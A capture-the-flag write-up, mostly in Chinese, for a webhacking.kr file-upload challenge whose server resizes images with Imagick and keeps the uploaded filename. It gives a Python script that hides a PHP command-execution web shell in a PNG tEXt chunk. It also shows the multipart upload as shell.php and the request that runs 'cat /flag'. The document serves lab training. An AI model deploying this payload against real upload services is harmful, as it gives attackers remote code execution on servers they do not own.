Challenge
Upload a file accepted by Imagick while preserving a PHP-capable filename.
上传一个能被 Imagick 接受、同时保留 PHP 文件名的文件。
http://webhacking.kr:10018/Analysis
服务端检查上传文件的 MIME type,拒绝 text/* 和 application/octet-stream,随后用 Imagick 读取、缩放并以原文件名写入 upload/:
$image = new Imagick();$image->readImage($_FILES['file']['tmp_name']);$image->resizeImage(500, 500, imagick::FILTER_GAUSSIAN, 10);$image->writeImage('./upload/' . $_FILES['file']['name']);文件名没有限制 .php 后缀。一个有效 PNG 可以在 tEXt chunk 中携带 PHP 代码;若 Imagick 在目标部署中保留该 metadata,上传结果就会以 .php 文件名保存,并由 PHP 解释器处理。
Solution
PHP 代码放入 Comment 文本块:
from pathlib import Pathimport structimport zlib
PHP = b'<?php system($_GET["cmd"]); ?>'
def chunk(kind, data): body = kind + data return struct.pack(">I", len(data)) + body + struct.pack(">I", zlib.crc32(body) & 0xFFFFFFFF)
def make_png(path): signature = b"\x89PNG\r\n\x1a\n" ihdr = struct.pack(">IIBBBBB", 1, 1, 8, 2, 0, 0, 0) scanline = b"\x00\xff\xff\xff" text = b"Comment\x00" + PHP png = b"".join( ( signature, chunk(b"IHDR", ihdr), chunk(b"tEXt", text), chunk(b"IDAT", zlib.compress(scanline)), chunk(b"IEND", b""), ) ) Path(path).write_bytes(png)
if __name__ == "__main__": make_png("shell.png")上传生成的 shell.png 时,multipart 字段如下:
name=filefilename=shell.phpContent-Type: image/png上传后访问:
/upload/shell.php?cmd=cat%20%2Fflagmetadata 是否在缩放和写入后保留,取决于目标 Imagick 版本与部署配置。